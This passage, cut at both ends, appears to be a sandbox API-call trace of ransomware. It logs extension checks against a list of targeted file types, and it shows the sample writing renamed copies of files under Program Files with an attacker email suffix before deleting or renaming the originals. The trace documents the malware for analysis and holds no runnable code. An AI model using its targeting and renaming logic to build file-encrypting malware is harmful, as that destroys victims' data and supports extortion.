Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString=".dbf") returned 4 [0047.762] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString=".1cd") returned 4 [0047.762] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString=".jpg") returned 4 [0047.762] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString=".doc") returned 4 [0047.762] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0047.762] lstrlenW (lpString=".docx") returned 5 [0047.762] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0047.762] lstrlenW (lpString=".pdf") returned 4 [0047.762] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString=".xls") returned 4 [0047.763] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0047.763] lstrlenW (lpString=".xlsx") returned 5 [0047.763] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0047.763] lstrlenW (lpString=".ppt") returned 4 [0047.763] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0047.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.763] lstrlenW (lpString=".zip") returned 4 [0047.763] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0047.763] lstrlenW (lpString=".rar") returned 4 [0047.763] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0047.763] lstrlenW (lpString=".bz2") returned 4 [0047.763] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0047.763] lstrlenW (lpString=".7z") returned 3 [0047.763] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0047.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.763] lstrlenW (lpString=".dbf") returned 4 [0047.763] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0047.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.763] lstrlenW (lpString=".1cd") returned 4 [0047.763] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0047.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.763] lstrlenW (lpString=".jpg") returned 4 [0047.763] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0047.763] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1 [0047.763] lstrlenW (lpString="verisign.bmp") returned 12 [0047.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.765] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2702) returned 1 [0047.765] CloseHandle (hObject=0x21c) returned 1 [0047.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0047.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.765] lstrlenW (lpString=".doc") returned 4 [0047.765] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0047.765] lstrlenW (lpString=".docx") returned 5 [0047.765] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0047.765] lstrlenW (lpString=".pdf") returned 4 [0047.765] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0047.765] lstrlenW (lpString=".xls") returned 4 [0047.765] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0047.765] lstrlenW (lpString=".xlsx") returned 5 [0047.766] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0047.766] lstrlenW (lpString=".ppt") returned 4 [0047.766] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString=".zip") returned 4 [0047.766] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".rar") returned 4 [0047.766] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".bz2") returned 4 [0047.766] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".7z") returned 3 [0047.766] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString=".dbf") returned 4 [0047.766] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString=".1cd") returned 4 [0047.766] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString=".jpg") returned 4 [0047.766] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.766] lstrlenW (lpString=".doc") returned 4 [0047.766] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".docx") returned 5 [0047.766] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0047.766] lstrlenW (lpString=".pdf") returned 4 [0047.766] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".xls") returned 4 [0047.766] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0047.766] lstrlenW (lpString=".xlsx") returned 5 [0047.766] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0047.766] lstrlenW (lpString=".ppt") returned 4 [0047.767] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.767] lstrlenW (lpString=".zip") returned 4 [0047.767] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0047.767] lstrlenW (lpString=".rar") returned 4 [0047.767] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0047.767] lstrlenW (lpString=".bz2") returned 4 [0047.767] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0047.767] lstrlenW (lpString=".7z") returned 3 [0047.767] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.767] lstrlenW (lpString=".dbf") returned 4 [0047.767] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.767] lstrlenW (lpString=".1cd") returned 4 [0047.767] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0047.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0047.767] lstrlenW (lpString=".jpg") returned 4 [0047.767] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0047.767] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0047.767] lstrlenW (lpString="adojavas.inc") returned 12 [0047.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.770] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=14610) returned 1 [0047.770] CloseHandle (hObject=0x1e8) returned 1 [0047.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0047.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.770] lstrlenW (lpString=".doc") returned 4 [0047.770] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0047.770] lstrlenW (lpString=".docx") returned 5 [0047.771] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0047.771] lstrlenW (lpString=".pdf") returned 4 [0047.771] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString=".xls") returned 4 [0047.771] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString=".xlsx") returned 5 [0047.771] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0047.771] lstrlenW (lpString=".ppt") returned 4 [0047.771] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString=".zip") returned 4 [0047.771] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString=".rar") returned 4 [0047.771] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString=".bz2") returned 4 [0047.771] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0047.771] lstrlenW (lpString=".7z") returned 3 [0047.771] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString=".dbf") returned 4 [0047.771] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString=".1cd") returned 4 [0047.771] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString=".jpg") returned 4 [0047.771] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.771] lstrlenW (lpString=".doc") returned 4 [0047.771] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0047.771] lstrlenW (lpString=".docx") returned 5 [0047.771] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0047.772] lstrlenW (lpString=".pdf") returned 4 [0047.772] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0047.772] lstrlenW (lpString=".xls") returned 4 [0047.772] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0047.772] lstrlenW (lpString=".xlsx") returned 5 [0047.772] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0047.772] lstrlenW (lpString=".ppt") returned 4 [0047.772] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.772] lstrlenW (lpString=".zip") returned 4 [0047.772] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0047.772] lstrlenW (lpString=".rar") returned 4 [0047.772] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0047.772] lstrlenW (lpString=".bz2") returned 4 [0047.772] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0047.772] lstrlenW (lpString=".7z") returned 3 [0047.772] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.772] lstrlenW (lpString=".dbf") returned 4 [0047.772] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.772] lstrlenW (lpString=".1cd") returned 4 [0047.772] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0047.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0047.772] lstrlenW (lpString=".jpg") returned 4 [0047.772] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0047.772] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0047.772] lstrlenW (lpString="adovbs.inc") returned 10 [0047.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.773] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=14951) returned 1 [0047.773] CloseHandle (hObject=0x1e8) returned 1 [0047.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0047.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.773] lstrlenW (lpString=".doc") returned 4 [0047.773] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0047.773] lstrlenW (lpString=".docx") returned 5 [0047.773] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0047.773] lstrlenW (lpString=".pdf") returned 4 [0047.773] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0047.773] lstrlenW (lpString=".xls") returned 4 [0047.773] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0047.773] lstrlenW (lpString=".xlsx") returned 5 [0047.773] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0047.773] lstrlenW (lpString=".ppt") returned 4 [0047.773] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0047.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.773] lstrlenW (lpString=".zip") returned 4 [0047.773] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0047.773] lstrlenW (lpString=".rar") returned 4 [0047.773] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0047.773] lstrlenW (lpString=".bz2") returned 4 [0047.774] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0047.774] lstrlenW (lpString=".7z") returned 3 [0047.774] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString=".dbf") returned 4 [0047.774] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString=".1cd") returned 4 [0047.774] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString=".jpg") returned 4 [0047.774] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString=".doc") returned 4 [0047.774] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0047.774] lstrlenW (lpString=".docx") returned 5 [0047.774] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0047.774] lstrlenW (lpString=".pdf") returned 4 [0047.774] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString=".xls") returned 4 [0047.774] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString=".xlsx") returned 5 [0047.774] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0047.774] lstrlenW (lpString=".ppt") returned 4 [0047.774] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.774] lstrlenW (lpString=".zip") returned 4 [0047.774] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString=".rar") returned 4 [0047.774] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0047.774] lstrlenW (lpString=".bz2") returned 4 [0047.774] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0047.774] lstrlenW (lpString=".7z") returned 3 [0047.774] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0047.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.775] lstrlenW (lpString=".dbf") returned 4 [0047.775] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0047.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.775] lstrlenW (lpString=".1cd") returned 4 [0047.775] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0047.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0047.775] lstrlenW (lpString=".jpg") returned 4 [0047.775] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0047.791] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.791] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.791] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.792] GetLastError () returned 0x0 [0047.792] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xae, lpOverlapped=0x0) returned 1 [0047.792] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0047.794] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.794] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.794] SetEndOfFile (hFile=0x21c) returned 1 [0047.795] CloseHandle (hObject=0x21c) returned 1 [0047.795] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.795] SetEndOfFile (hFile=0x1e8) returned 1 [0047.795] CloseHandle (hObject=0x1e8) returned 1 [0047.796] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x26) returned 1 [0047.796] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0047.796] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.796] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.796] lstrlenW (lpString=".doc") returned 4 [0047.796] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0047.796] lstrlenW (lpString=".docx") returned 5 [0047.796] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0047.796] lstrlenW (lpString=".pdf") returned 4 [0047.796] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0047.796] lstrlenW (lpString=".xls") returned 4 [0047.796] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0047.796] lstrlenW (lpString=".xlsx") returned 5 [0047.796] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0047.796] lstrlenW (lpString=".ppt") returned 4 [0047.796] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0047.796] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.796] lstrlenW (lpString=".zip") returned 4 [0047.796] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0047.796] lstrlenW (lpString=".rar") returned 4 [0047.796] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0047.796] lstrlenW (lpString=".bz2") returned 4 [0047.796] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0047.797] lstrlenW (lpString=".7z") returned 3 [0047.797] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0047.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.797] lstrlenW (lpString=".dbf") returned 4 [0047.797] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0047.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.797] lstrlenW (lpString=".1cd") returned 4 [0047.797] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0047.797] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0047.797] lstrlenW (lpString=".jpg") returned 4 [0047.797] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0049.899] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[paydra@cock.li].html")) returned 0 [0049.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.899] lstrlenW (lpString=".doc") returned 4 [0049.899] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString=".docx") returned 5 [0049.899] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0049.899] lstrlenW (lpString=".pdf") returned 4 [0049.899] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString=".xls") returned 4 [0049.899] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0049.899] lstrlenW (lpString=".xlsx") returned 5 [0049.899] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0049.899] lstrlenW (lpString=".ppt") returned 4 [0049.899] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.899] lstrlenW (lpString=".zip") returned 4 [0049.899] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0049.899] lstrlenW (lpString=".rar") returned 4 [0049.899] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString=".bz2") returned 4 [0049.899] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString=".7z") returned 3 [0049.899] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0049.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.899] lstrlenW (lpString=".dbf") returned 4 [0049.899] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0049.899] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.899] lstrlenW (lpString=".1cd") returned 4 [0049.900] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0049.900] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0049.900] lstrlenW (lpString=".jpg") returned 4 [0049.900] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0049.900] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD 